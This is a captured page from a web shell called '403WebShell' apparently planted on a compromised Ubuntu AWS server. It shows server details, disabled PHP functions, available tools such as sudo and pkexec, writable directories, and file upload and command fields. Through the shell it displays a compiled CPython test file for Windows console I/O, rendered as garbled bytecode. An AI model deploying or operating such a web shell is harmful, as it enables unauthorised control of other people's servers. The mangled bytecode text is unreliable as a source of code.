Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_winconsoleio.cpython-310.pyc
o

�9jG�@s�dZddlZddlZddlZddlZddlZddlmZejdkr&e�	d��ddl
mZejZ
Gdd�dej�Zed	krBe��dSdS)
zTests for WindowsConsoleIO
�N)�	os_helper�win32ztest only relevant on win32)�write_inputc@s�eZdZdd�Zdd�Zdd�Ze�e�	�dd�d	kd
�dd��Z
d
d�Zdd�Zdd�Z
dd�Ze�dd�dd��Zdd�Ze�dd�dd��Zdd�ZdS)�WindowsConsoleIOTestscCs:|�tttj��|�tttj��|�tttj��dS)N)�
assertTrue�
issubclass�ConIO�io�	RawIOBase�assertFalse�BufferedIOBase�
TextIOBase��self�r�-/usr/lib/python3.10/test/test_winconsoleio.py�test_abcszWindowsConsoleIOTests.test_abccCsn|�tdtd�t���}|��}|�tdt|�Wd�n1s#wYztd�}Wn	ty7Ynw|�|���|�|�	��|�
d|���|��|��ztdd�}Wn	tyfYnw|�|���|�|�	��|�
d|���|��|��ztdd�}Wn
ty�YdSw|�|���|�|�	��|�
d|���|��|��dS)Nznegative file descriptor���z&Cannot open (console|non-console file)r��w�)�assertRaisesRegex�
ValueErrorr�tempfile�
TemporaryFile�filenor�readabler�writable�assertEqual�close)r�tmpfile�fd�frrr�test_open_fdsN�
�����z"WindowsConsoleIOTests.test_open_fdcCs|�tttj�td�}|�|���|�|���|�	|�
��|��|��td�}|�|���|�|���|�	|�
��|��|��tdd�}|�|���|�|���|�	|�
��|��|��t��dd�dkr�t
ddd	d
�}|�|t�|��dSdS)N�CON�CONIN$�CONOUT$r���
ri�UzC:/con�rbr��	buffering)�assertRaisesrr�sys�
executablerrrr�assertIsNotNonerr�getwindowsversion�open�assertIsInstance�rr"rrr�test_open_nameGs0
�z$WindowsConsoleIOTests.test_open_nameNr��rz+test does not work on Windows 7 and earliercCsHtdddd�}|�|t�|��tdddd�}|�|t�|��dS)Nz
\\.\conin$r*rr+z//?/conout$�wb)r2r3rrr4rrr�test_conin_conout_namesesz-WindowsConsoleIOTests.test_conin_conout_namescCs�t��}|�tj|�tj�|d�}t|ddd��0}dt	�
�dd�kr*dkr3nn|�|t�n|�
|t�Wd�dSWd�dS1sLwYdS)Nr&r8rr+r6r'r()r�mkdtemp�
addCleanupr�rmtree�os�path�joinr2r.r1r3r�assertNotIsInstance)r�	temp_path�conout_pathr"rrr�test_conout_pathps$�"�z&WindowsConsoleIOTests.test_conout_pathcCsBtdd��}|�|�d�d�Wd�dS1swYdS)Nr&r�r)rr�writer4rrr�test_write_empty_data}s"�z+WindowsConsoleIOTests.test_write_empty_datacCsZtdd�}tj}z|t_t|jj|d�dd��t�}W|t_n|t_w|�||�dS)Nr%�rz
�	utf-16-le�
surrogatepass)	r2r.�stdinr�buffer�raw�encode�inputr)r�textrJ�	old_stdin�actualrrr�assertStdinRoundTrip�s
�z*WindowsConsoleIOTests.assertStdinRoundTripcCs"|�d�|�d�|�d�dS)N�abc123uϼўТλФЙuA͏B ﬖ̳AA̝�rRrrrr�
test_input�s

z WindowsConsoleIOTests.test_inputTz%Handling Non-BMP characters is brokencCs|�d�dS)Nu􀀀􏿿􏿽rTrrrr�test_input_nonbmp�sz'WindowsConsoleIOTests.test_input_nonbmpc	C�d�d�}d�d�}tdd�D]=}tdddd	��,}t||�d
}|�d�s3|�|�}||7}|�d�r%|�||d�|��Wd�n1sGwYqdS)
NuϼўТλФЙ
rH�utf-8r�r%r*rr+rD�
�stdin.read({})�rM�ranger2r�endswith�readr�format�r�source�expected�
read_countrJrQ�brrr�test_partial_reads�s





����z(WindowsConsoleIOTests.test_partial_readsc	CrW)
Nu
􁿿􁀁
rHrXrrYr%r*rr+rDrZr[r\rarrr�test_partial_surrogate_reads�s





����z2WindowsConsoleIOTests.test_partial_surrogate_readscCs�tdddd��6}d�d�}d�d�}t||�|�d	�|��}}|�|dd	�|�|�|d	d�|�Wd�dS1s@wYdS)
Nr%r*rr+uÄ
rH�ÄrXr)r2rMrr_�readallr)rrJrbrc�arerrr�test_ctrl_z�s


"�z!WindowsConsoleIOTests.test_ctrl_z)�__name__�
__module__�__qualname__rr#r5�unittest�skipIfr.r1r9rCrFrRrUrVrfrgrkrrrrrs$/�
	

	


r�__main__)�__doc__r	r=r.rro�test.supportr�platform�SkipTest�_testconsoler�_WindowsConsoleIOr�TestCaserrl�mainrrrr�<module>s 

8�

Youez - 2016 - github.com/yon3zu
LinuXploit